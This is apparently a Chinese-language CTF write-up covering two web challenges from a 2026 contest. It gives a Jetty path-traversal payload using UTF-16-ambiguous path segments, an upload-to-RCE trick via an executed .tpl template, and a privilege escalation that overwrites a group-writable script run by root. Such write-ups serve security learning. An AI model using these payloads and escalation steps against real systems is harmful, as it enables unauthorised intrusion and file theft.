黄鹤杯-2026-web

作者:Erina
4 分钟阅读 488 字

归档

CTF

目录

  1. 馆藏检索系统-HHB2026
  2. ezz_upload-HHB2026

馆藏检索系统-HHB2026

首页提示了:

直接访问常见敏感路径,/WEB-INF/web.xml 返回 Spring 风格报错:

HTTP/1.1 500 Server Error
Content-Type: application/json
{"timestamp":"...","status":999,"error":"None"}

继续测试 %u002e 等歧义路径:/%u002e/WEB-INF/web.xml,可以看到 Jetty 返回了报错:

org.eclipse.jetty.http.BadMessageException: 400: Ambiguous URI path segment, UTF-16 encoding

所以显然考点是Ghost Bits攻击,直接利用以下路径格式即可读取flag:

/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/fla%67

其中 fla%67 解码后为 flag,用于读取根目录 /flag

ezz_upload-HHB2026

题目是一个“主题包上传 / 主题预览中心”。上传检查只限制 ZIP 内文件后缀和控制文件名,但预览时会 include preview.tpl,因此 .tpl 文件中的 PHP 代码会被执行。拿到 Web RCE 后,发现 root 周期执行的维护脚本 /var/lib/.ezz_upload/.maintenance/root-task.shctf 组可写,改写该脚本即可让 root 将 /flag 拷贝到 Web 目录。

首页下载示例主题包,内容如下:

manifest.json
preview.tpl
assets/cover.png

其中 preview.tpl 内容似乎是 PHP 短标签模板:

<section>
<h1><?= h($themeTitle) ?></h1>
<p><?= h($themeTagline) ?></p>
</section>

尝试直接写入php马,成功,得到 shell。

RCE 后读取入口脚本可见:

#!/bin/sh
set -eu
task="/var/lib/.ezz_upload/.maintenance/root-task.sh"
(
while true; do
/bin/sh "$task" >/tmp/root-task.log 2>&1 || true
sleep 10
done
) &
exec su -s /bin/sh ctf -c 'php -S 0.0.0.0:8080 -t /opt/app-root/src'

这里root权限执行的维护脚本权限如下:

-rw-rw-r-- 1 root ctf 115 /var/lib/.ezz_upload/.maintenance/root-task.sh

可写,所以直接写入命令读出flag即可。

#!/bin/sh
set -eu
cat /flag > /opt/app-root/src/flag.txt
chmod 644 /opt/app-root/src/flag.txt